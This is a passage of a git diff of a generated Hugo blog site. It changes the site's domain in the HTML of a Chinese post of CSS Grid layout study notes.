+<a class=next href=https://chenjunlinabc.github.io/posts/43/><span class=title>Next »</span><br><span>一些常用的进制转换方法</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/45/index.html b/posts/45/index.html
index d8f88357..8d46ce4c 100644
--- a/posts/45/index.html
+++ b/posts/45/index.html
@@ -16,8 +16,8 @@
 grid-template-rows: auto; // 由浏览器决定行高
 grid-template-columns: [a1] 100px [a2] 100px [a3] auto; // 方括号[]内的的值是用于指定网格的名称
 grid-template-columns: 20% 60% 20%; // 左栏20%，中间60%，右栏20%，如果是重复的值搭配repeat使用更佳
-grid-row-gap: 10px; // 行间距（行与行的距离）"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/45/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Grid布局学习笔记"><meta property="og:description" content="grid 布局
+grid-row-gap: 10px; // 行间距（行与行的距离）"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/45/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Grid布局学习笔记"><meta property="og:description" content="grid 布局
 grid布局和flex布局类似，不过grid是最强大的css布局方式
 grid布局是网格布局
 display: grid; // 定义grid布局，默认为块级元素
@@ -35,7 +35,7 @@
 grid-template-rows: auto; // 由浏览器决定行高
 grid-template-columns: [a1] 100px [a2] 100px [a3] auto; // 方括号[]内的的值是用于指定网格的名称
 grid-template-columns: 20% 60% 20%; // 左栏20%，中间60%，右栏20%，如果是重复的值搭配repeat使用更佳
-grid-row-gap: 10px; // 行间距（行与行的距离）"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/45/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-23T10:29:00+00:00"><meta property="article:modified_time" content="2021-06-23T10:29:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Grid布局学习笔记"><meta name=twitter:description content="grid 布局
+grid-row-gap: 10px; // 行间距（行与行的距离）"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/45/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-23T10:29:00+00:00"><meta property="article:modified_time" content="2021-06-23T10:29:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Grid布局学习笔记"><meta name=twitter:description content="grid 布局
 grid布局和flex布局类似，不过grid是最强大的css布局方式
 grid布局是网格布局
 display: grid; // 定义grid布局，默认为块级元素
@@ -53,11 +53,11 @@
 grid-template-rows: auto; // 由浏览器决定行高
 grid-template-columns: [a1] 100px [a2] 100px [a3] auto; // 方括号[]内的的值是用于指定网格的名称
 grid-template-columns: 20% 60% 20%; // 左栏20%，中间60%，右栏20%，如果是重复的值搭配repeat使用更佳
-grid-row-gap: 10px; // 行间距（行与行的距离）"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Grid布局学习笔记","item":"https://xiaochenabc123.github.io/posts/45/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Grid布局学习笔记","name":"Grid布局学习笔记","description":"grid 布局\ngrid布局和flex布局类似，不过grid是最强大的css布局方式\ngrid布局是网格布局\ndisplay: grid; // 定义grid布局，默认为块级元素\ndisplay: inline-grid // 设置为行内元素\n设置为grid布局后，容器的子元素的float（浮动），display: inlne-block（行内块级元素），display: table-cell（表格单元格），vertical-align（垂直对齐方式）之类的全部都会失效\n列宽和行高的设置\ngrid-template-columns: 100px; // 列宽\ngrid-template-rows: 100px; // 行高\n数值也支持百分比\ngrid-template-columns: repeat(3, 100px); // 列宽，重复次数为3，重复的值为100px，和下面效果是一样的\ngrid-template-columns: 100px 100px 100px;\ngrid-template-rows: repeat(auto-fill, 100px); // 行高，自动填充容器，行高为100px\ngrid-template-rows: 1fr 2fr; // 行高，第二个的行高是第一的2倍\ngrid-template-rows: minmax(100px, 300px); // 生成一个长度范围，长度在这个范围内，两个参数分别代表最小值和最大值，这里表示的是行高不小于100px，不大于300px\ngrid-template-rows: auto; // 由浏览器决定行高\ngrid-template-columns: [a1] 100px [a2] 100px [a3] auto; // 方括号[]内的的值是用于指定网格的名称\ngrid-template-columns: 20% 60% 20%; // 左栏20%，中间60%，右栏20%，如果是重复的值搭配repeat使用更佳\ngrid-row-gap: 10px; // 行间距（行与行的距离）","keywords":["css"],"articleBody":"grid 布局\ngrid布局和flex布局类似，不过grid是最强大的css布局方式\ngrid布局是网格布局\ndisplay: grid; // 定义grid布局，默认为块级元素\ndisplay: inline-grid // 设置为行内元素\n设置为grid布局后，容器的子元素的float（浮动），display: inlne-block（行内块级元素），display: table-cell（表格单元格），vertical-align（垂直对齐方式）之类的全部都会失效\n列宽和行高的设置\ngrid-template-columns: 100px; // 列宽\ngrid-template-rows: 100px; // 行高\n数值也支持百分比\ngrid-template-columns: repeat(3, 100px); // 列宽，重复次数为3，重复的值为100px，和下面效果是一样的\ngrid-template-columns: 100px 100px 100px;\ngrid-template-rows: repeat(auto-fill, 100px); // 行高，自动填充容器，行高为100px\ngrid-template-rows: 1fr 2fr; // 行高，第二个的行高是第一的2倍\ngrid-template-rows: minmax(100px, 300px); // 生成一个长度范围，长度在这个范围内，两个参数分别代表最小值和最大值，这里表示的是行高不小于100px，不大于300px\ngrid-template-rows: auto; // 由浏览器决定行高\ngrid-template-columns: [a1] 100px [a2] 100px [a3] auto; // 方括号[]内的的值是用于指定网格的名称\ngrid-template-columns: 20% 60% 20%; // 左栏20%，中间60%，右栏20%，如果是重复的值搭配repeat使用更佳\ngrid-row-gap: 10px; // 行间距（行与行的距离）\ngrid-column-gap: 10px; // 列间距（列与列的距离）\n可以简写为grid-gap: 10px 20px; // 行间距，列间距，如果只提供一个值，那么行间距，列间距都为那个值\ngrid-row-start: 2; // 指定从哪条行开始，这里指定在第二行上\ngrid-column-start: 2; // 指定从哪条列开始，这里指定在第二列上\ngrid-row-end: 2; // 指定横跨第几行，这里指定的是第二行\ngrid-column-end: 2; // 指定横跨第几列，这里指定的是第二列\n上面的属性默认为auto，可以简写为下面的\n指定项目放在哪个区域\ngrid-area: b; // 指定该项目放在b区域\ngrid-area：2 / 2 / span 2 / span 2; // 在第二行第2列开始，横跨两行两列\nspan关键字是跨域的意思，指的是跨域多少个网格\ngrid-template-areas: “a b c”; // 指定区域中对应的单元格，如果区域中不需要用到则用点.来表示\ngrid-auto-flow: column; // 设置为先放满列再放行，网格布局，容器的元素会根据顺序进行排列，默认是先放满第一行，再放第二行，而该属性设置为先放满第一列，再放第二列表，默认值为row\n如果有一些元素的大小是不一致，浏览器认为这个位置放不下，会另外起一行放\ngrid-auto-flow: row dense; // 先填满行，而且是尽可能的填满，不留下空隙\ngrid-auto-flow: column dense; // 先填满列，而且是尽可能的填满，不留下空隙\n设置单元格内容的位置\njustify-items: centet; // 水平位置，内容居中\nalign-items: centet; // 垂直位置，内容居中\nstretch：拉伸，占满整个单元格的宽度（默认值） start：对齐单元格的起始位置 end：对齐单元格的结束位置 center：单元格内容居中\n可以简写为place-items: centet centet; // 水平居中，垂直居中，如果只提供一个值，那么水平和垂直都是这个值\n设置单个项目的位置\njustify-self: center; // 设置单个项目在网格中的水平方向位置，居中\nalign-self: center; // 设置单个项目在网格中的垂直方向位置，居中\n和justify-items，align-items类似，只是作用于单个项目\n可简写为place-self: center; // 如果不提供第二个值，那么垂直方向和水平方向都是那个值\n设置网格在容器的位置\njustify-content: center; // 网格在容器水平方向为居中\nalign-content: center; // 网格在容器垂直方向为居中\n属性值和上面的类似\nspace-around // 网格的项目的两侧的距离相等，a项目和b项目的距离是相等，所以实质上项目与项目之间的距离是和容器之间的距离的2倍\nspace-between // 项目和项目之间距离相等，项目和容器没有间隔\nspace-evenly // 项目和项目之间距离相等，项目和容器之间也是相等间隔\n可以简写为place-content: center center; // 水平居中，垂直居中，如果只提供一个值，那么水平和垂直都是这个值\n如果浏览器自动生成一些多余网格，而要设置这些多余网格的行高和列宽\ngrid-auto-columns: 100px; // 多余网格的行高为100px\ngrid-auto-rows: 100px; // 多余网格的列宽为100px\n项目属性定位\ngrid-column-start: 2; // 左边框在第二个项目的垂直线上\ngrid-column-end: 3; // 右边框在第三个项目的垂直线上\ngrid-row-start: 2; // 上边距在第二个项目的水平线上\ngrid-row-end: 3; // 下边距在第三个项目的水平线上\n除了设置项目的定位外，还可以设置网格线的名称\ngrid-column-start: main-start;\n可以简写为\ngrid-column: 2 / 3;\ngrid-row: 2 / 3;\n效果和上面一样\n","wordCount":"231","inLanguage":"en","datePublished":"2021-06-23T10:29:00Z","dateModified":"2021-06-23T10:29:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/45/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Grid布局学习笔记</h1><div class=post-meta><span title='2021-06-23 10:29:00 +0000 UTC'>2021-06-23</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Grid%e5%b8%83%e5%b1%80%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>grid 布局</p><p>grid布局和flex布局类似，不过grid是最强大的css布局方式</p><p>grid布局是网格布局</p><p>display: grid; // 定义grid布局，默认为块级元素</p><p>display: inline-grid // 设置为行内元素</p><p>设置为grid布局后，容器的子元素的float（浮动），display: inlne-block（行内块级元素），display: table-cell（表格单元格），vertical-align（垂直对齐方式）之类的全部都会失效</p><p>列宽和行高的设置</p><p>grid-template-columns: 100px; // 列宽</p><p>grid-template-rows: 100px; // 行高</p><p>数值也支持百分比</p><p>grid-template-columns: repeat(3, 100px); // 列宽，重复次数为3，重复的值为100px，和下面效果是一样的</p><p>grid-template-columns: 100px 100px 100px;</p><p>grid-template-rows: repeat(auto-fill, 100px); // 行高，自动填充容器，行高为100px</p><p>grid-template-rows: 1fr 2fr; // 行高，第二个的行高是第一的2倍</p><p>grid-template-rows: minmax(100px, 300px); // 生成一个长度范围，长度在这个范围内，两个参数分别代表最小值和最大值，这里表示的是行高不小于100px，不大于300px</p><p>grid-template-rows: auto; // 由浏览器决定行高</p><p>grid-template-columns: [a1] 100px [a2] 100px [a3] auto; // 方括号[]内的的值是用于指定网格的名称</p><p>grid-template-columns: 20% 60% 20%; // 左栏20%，中间60%，右栏20%，如果是重复的值搭配repeat使用更佳</p><p>grid-row-gap: 10px; // 行间距（行与行的距离）</p><p>grid-column-gap: 10px; // 列间距（列与列的距离）</p><p>可以简写为grid-gap: 10px 20px; // 行间距，列间距，如果只提供一个值，那么行间距，列间距都为那个值</p><hr><p>grid-row-start: 2; // 指定从哪条行开始，这里指定在第二行上</p><p>grid-column-start: 2; // 指定从哪条列开始，这里指定在第二列上</p><p>grid-row-end: 2; // 指定横跨第几行，这里指定的是第二行</p><p>grid-column-end: 2; // 指定横跨第几列，这里指定的是第二列</p><p>上面的属性默认为auto，可以简写为下面的</p><p>指定项目放在哪个区域</p><p>grid-area: b; // 指定该项目放在b区域</p><p>grid-area：2 / 2 / span 2 / span 2; // 在第二行第2列开始，横跨两行两列</p><p>span关键字是跨域的意思，指的是跨域多少个网格</p><hr><p>grid-template-areas: &ldquo;a b c&rdquo;; // 指定区域中对应的单元格，如果区域中不需要用到则用点.来表示</p><p>grid-auto-flow: column; // 设置为先放满列再放行，网格布局，容器的元素会根据顺序进行排列，默认是先放满第一行，再放第二行，而该属性设置为先放满第一列，再放第二列表，默认值为row</p><p>如果有一些元素的大小是不一致，浏览器认为这个位置放不下，会另外起一行放</p><p>grid-auto-flow: row dense; // 先填满行，而且是尽可能的填满，不留下空隙</p><p>grid-auto-flow: column dense; // 先填满列，而且是尽可能的填满，不留下空隙</p><hr><p>设置单元格内容的位置</p><p>justify-items: centet; // 水平位置，内容居中</p><p>align-items: centet; // 垂直位置，内容居中</p><p>stretch：拉伸，占满整个单元格的宽度（默认值）
+grid-row-gap: 10px; // 行间距（行与行的距离）"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Grid布局学习笔记","item":"https://chenjunlinabc.github.io/posts/45/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Grid布局学习笔记","name":"Grid布局学习笔记","description":"grid 布局\ngrid布局和flex布局类似，不过grid是最强大的css布局方式\ngrid布局是网格布局\ndisplay: grid; // 定义grid布局，默认为块级元素\ndisplay: inline-grid // 设置为行内元素\n设置为grid布局后，容器的子元素的float（浮动），display: inlne-block（行内块级元素），display: table-cell（表格单元格），vertical-align（垂直对齐方式）之类的全部都会失效\n列宽和行高的设置\ngrid-template-columns: 100px; // 列宽\ngrid-template-rows: 100px; // 行高\n数值也支持百分比\ngrid-template-columns: repeat(3, 100px); // 列宽，重复次数为3，重复的值为100px，和下面效果是一样的\ngrid-template-columns: 100px 100px 100px;\ngrid-template-rows: repeat(auto-fill, 100px); // 行高，自动填充容器，行高为100px\ngrid-template-rows: 1fr 2fr; // 行高，第二个的行高是第一的2倍\ngrid-template-rows: minmax(100px, 300px); // 生成一个长度范围，长度在这个范围内，两个参数分别代表最小值和最大值，这里表示的是行高不小于100px，不大于300px\ngrid-template-rows: auto; // 由浏览器决定行高\ngrid-template-columns: [a1] 100px [a2] 100px [a3] auto; // 方括号[]内的的值是用于指定网格的名称\ngrid-template-columns: 20% 60% 20%; // 左栏20%，中间60%，右栏20%，如果是重复的值搭配repeat使用更佳\ngrid-row-gap: 10px; // 行间距（行与行的距离）","keywords":["css"],"articleBody":"grid 布局\ngrid布局和flex布局类似，不过grid是最强大的css布局方式\ngrid布局是网格布局\ndisplay: grid; // 定义grid布局，默认为块级元素\ndisplay: inline-grid // 设置为行内元素\n设置为grid布局后，容器的子元素的float（浮动），display: inlne-block（行内块级元素），display: table-cell（表格单元格），vertical-align（垂直对齐方式）之类的全部都会失效\n列宽和行高的设置\ngrid-template-columns: 100px; // 列宽\ngrid-template-rows: 100px; // 行高\n数值也支持百分比\ngrid-template-columns: repeat(3, 100px); // 列宽，重复次数为3，重复的值为100px，和下面效果是一样的\ngrid-template-columns: 100px 100px 100px;\ngrid-template-rows: repeat(auto-fill, 100px); // 行高，自动填充容器，行高为100px\ngrid-template-rows: 1fr 2fr; // 行高，第二个的行高是第一的2倍\ngrid-template-rows: minmax(100px, 300px); // 生成一个长度范围，长度在这个范围内，两个参数分别代表最小值和最大值，这里表示的是行高不小于100px，不大于300px\ngrid-template-rows: auto; // 由浏览器决定行高\ngrid-template-columns: [a1] 100px [a2] 100px [a3] auto; // 方括号[]内的的值是用于指定网格的名称\ngrid-template-columns: 20% 60% 20%; // 左栏20%，中间60%，右栏20%，如果是重复的值搭配repeat使用更佳\ngrid-row-gap: 10px; // 行间距（行与行的距离）\ngrid-column-gap: 10px; // 列间距（列与列的距离）\n可以简写为grid-gap: 10px 20px; // 行间距，列间距，如果只提供一个值，那么行间距，列间距都为那个值\ngrid-row-start: 2; // 指定从哪条行开始，这里指定在第二行上\ngrid-column-start: 2; // 指定从哪条列开始，这里指定在第二列上\ngrid-row-end: 2; // 指定横跨第几行，这里指定的是第二行\ngrid-column-end: 2; // 指定横跨第几列，这里指定的是第二列\n上面的属性默认为auto，可以简写为下面的\n指定项目放在哪个区域\ngrid-area: b; // 指定该项目放在b区域\ngrid-area：2 / 2 / span 2 / span 2; // 在第二行第2列开始，横跨两行两列\nspan关键字是跨域的意思，指的是跨域多少个网格\ngrid-template-areas: “a b c”; // 指定区域中对应的单元格，如果区域中不需要用到则用点.来表示\ngrid-auto-flow: column; // 设置为先放满列再放行，网格布局，容器的元素会根据顺序进行排列，默认是先放满第一行，再放第二行，而该属性设置为先放满第一列，再放第二列表，默认值为row\n如果有一些元素的大小是不一致，浏览器认为这个位置放不下，会另外起一行放\ngrid-auto-flow: row dense; // 先填满行，而且是尽可能的填满，不留下空隙\ngrid-auto-flow: column dense; // 先填满列，而且是尽可能的填满，不留下空隙\n设置单元格内容的位置\njustify-items: centet; // 水平位置，内容居中\nalign-items: centet; // 垂直位置，内容居中\nstretch：拉伸，占满整个单元格的宽度（默认值） start：对齐单元格的起始位置 end：对齐单元格的结束位置 center：单元格内容居中\n可以简写为place-items: centet centet; // 水平居中，垂直居中，如果只提供一个值，那么水平和垂直都是这个值\n设置单个项目的位置\njustify-self: center; // 设置单个项目在网格中的水平方向位置，居中\nalign-self: center; // 设置单个项目在网格中的垂直方向位置，居中\n和justify-items，align-items类似，只是作用于单个项目\n可简写为place-self: center; // 如果不提供第二个值，那么垂直方向和水平方向都是那个值\n设置网格在容器的位置\njustify-content: center; // 网格在容器水平方向为居中\nalign-content: center; // 网格在容器垂直方向为居中\n属性值和上面的类似\nspace-around // 网格的项目的两侧的距离相等，a项目和b项目的距离是相等，所以实质上项目与项目之间的距离是和容器之间的距离的2倍\nspace-between // 项目和项目之间距离相等，项目和容器没有间隔\nspace-evenly // 项目和项目之间距离相等，项目和容器之间也是相等间隔\n可以简写为place-content: center center; // 水平居中，垂直居中，如果只提供一个值，那么水平和垂直都是这个值\n如果浏览器自动生成一些多余网格，而要设置这些多余网格的行高和列宽\ngrid-auto-columns: 100px; // 多余网格的行高为100px\ngrid-auto-rows: 100px; // 多余网格的列宽为100px\n项目属性定位\ngrid-column-start: 2; // 左边框在第二个项目的垂直线上\ngrid-column-end: 3; // 右边框在第三个项目的垂直线上\ngrid-row-start: 2; // 上边距在第二个项目的水平线上\ngrid-row-end: 3; // 下边距在第三个项目的水平线上\n除了设置项目的定位外，还可以设置网格线的名称\ngrid-column-start: main-start;\n可以简写为\ngrid-column: 2 / 3;\ngrid-row: 2 / 3;\n效果和上面一样\n","wordCount":"231","inLanguage":"en","datePublished":"2021-06-23T10:29:00Z","dateModified":"2021-06-23T10:29:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/45/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a 